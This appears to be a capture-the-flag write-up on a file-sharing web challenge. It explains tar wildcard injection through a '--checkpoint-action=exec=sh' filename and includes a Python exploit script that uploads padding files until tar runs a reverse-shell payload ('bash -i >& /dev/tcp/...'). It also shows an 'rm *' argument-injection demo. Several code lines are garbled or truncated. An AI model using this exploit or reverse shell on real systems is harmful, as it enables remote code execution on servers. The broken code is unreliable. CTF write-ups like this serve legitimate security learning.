Enterprice File Sharing


For security reasons we only use enterprice grade cloud storage.


Code Review

This, for the most part, seems like a standard file hosting site. Let's take a look at the validation.
First, uploaded files must have one of the allowed extensions.
# We only allow files for serious business use-cases
ALLOWED_EXTENSIONS = {'txt', 'pdf', 'doc', 'docx', 'xls', 'xlsx'}
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
We also see that steps have been taken to normalize the file paths, to prevent directory traversal attacks using ../.
def normalize_file(filename):
return filename.replace("..", "_")
@app.route('/upload', methods=["POST"])
def upload():
if "ID" not in session:
return redirect("/")
if 'file' not in request.files:
flash('No file part')
return redirect("/")
file = request.files['file']
if file.filename == '':
flash('No file selected')
return redirect(request.url)
if file and allowed_file(file.filename):
f_content =
if len(f_content) > 1024:
flash("Your file is too big! Buy premium to upload bigger files!")
return redirect('/')
filename = normalize_file(file.filename)
with open(os.path.join(SESS_BASE_DIR, session["ID"], filename), "wb") as f:
print(os.path.join(SESS_BASE_DIR, session["ID"], filename))
return redirect("/")
flash("Invalid file type submitted!")
return redirect('/')
return redirect("/")
What seems out of the ordinary, though, is the use of os.system() to execute a tar command when the user requests to download all uploaded files. Surely there's a library for that!
def download_all():
if "ID" not in session:
return redirect("/")
sess_id = session["ID"]
sess_dir = os.path.join(SESS_BASE_DIR, sess_id)
res = os.system(f"cd {sess_dir} && tar czf /tmp/{sess_id}.tgz *")
if res != 0:
flash("Something went wrong.")
return redirect("/")
return send_file(f"/tmp/{sess_id}.tgz", attachment_filename=f"{sess_id}.tgz")

Wildcard Injection

I decided to pay closer attention to the system command: cd {sess_dir} && tar czf /tmp/{sess_id}.tgz *.
A bit of research led me to a few very interesting papers, one of which was this. Apparently, this is a class of Unix vulnerabilities where wildcards in commands can be abused to inject arguments!
For instance, if you have a file named -rf, and you execute rm *, the wildcard gets substituted with -rf, which is interpreted as a command line argument!
[root@defensecode public]# ls -al
total 20
drwxrwxr-x. 5 leon leon 4096 Oct 28 17:04 .
drwx------. 22 leon leon 4096 Oct 28 16:15 ..
drwxrwxr-x. 2 leon leon 4096 Oct 28 17:04 DIR1
drwxrwxr-x. 2 leon leon 4096 Oct 28 17:04 DIR2
drwxrwxr-x. 2 leon leon 4096 Oct 28 17:04 DIR3
-rw-rw-r--. 1 leon leon 0 Oct 28 17:03 file1.txt
-rw-rw-r--. 1 leon leon 0 Oct 28 17:03 file2.txt
-rw-rw-r--. 1 leon leon 0 Oct 28 17:03 file3.txt
-rw-rw-r--. 1 nobody nobody 0 Oct 28 16:38 -rf
[root@defensecode public]# rm *
[root@defensecode public]# ls -al
total 8
drwxrwxr-x. 2 leon leon 4096 Oct 28 17:05 .
drwx------. 22 leon leon 4096 Oct 28 16:15 ..
-rw-rw-r--. 1 nobody nobody 0 Oct 28 16:38 -rf
Now, how can we abuse this in our use case? In tar, there is a --checkpoint-action option that will specify which program will be executed when a "checkpoint" is reached.
A common payload to exploit this would be two files:
  • --checkpoint-action=exec=sh
  • --checkpoint=1
Now, the first file and the script are no problem - we can use --checkpoint-action=exec=sh shell.txt to perform argument pollution, which works because this ends with .txt.
We cannot use checkpoint=1 , though, because this won’t pass the extension check.
Looking a bit more into the Tar manual, I saw that the default checkpoint number is 10, which means that the checkpoint action is performed every 10 records.
But how big is each record? Apparently, it's 20 512-byte blocks.
So if we upload enough bytes, our tar archive will eventually exceed 10 records * 20 blocks * 512 bytes = 102400 bytes. Once that happens, we would have 10 records within the tar archive and the checkpoint action will be executed.
import requests
import os
s = requests.session()
with open("shell.txt", 'w') as f:
f.write("bash -c \"bash -i >& /dev/tcp/ 0>&1\"")
with open("--checkpoint-action=exec=sh shell.txt", "w") as f:
files = {"file": open("shell.txt", 'rb')}
files = {"file": open("--checkpoint-action=exec=sh shell.txt", 'rb')}
# Default record size for tar = 512 bytes * 20 = 10240 bytes
# Default checkpoint is 10 records
curr_bytes = 0
filename = 'a'
while curr_bytes < 10240 * 10:
with open(filename + ".txt", 'wb') as f:
r ="",
files = {"file": open(filename + ".txt", 'rb')}
print("Uploaded", filename + ".txt")
filename += 'a'
os.system("tar czf test.tgz a*.txt")
with open("test.tgz", 'rb') as f:
curr_bytes = len(
print(f"Currently at {curr_bytes} bytes")
Once we request /download_all and the tar command is run, we get a shell.
gunicorn@8d66a32a984a:/$ cat flag.txt
cat flag.txt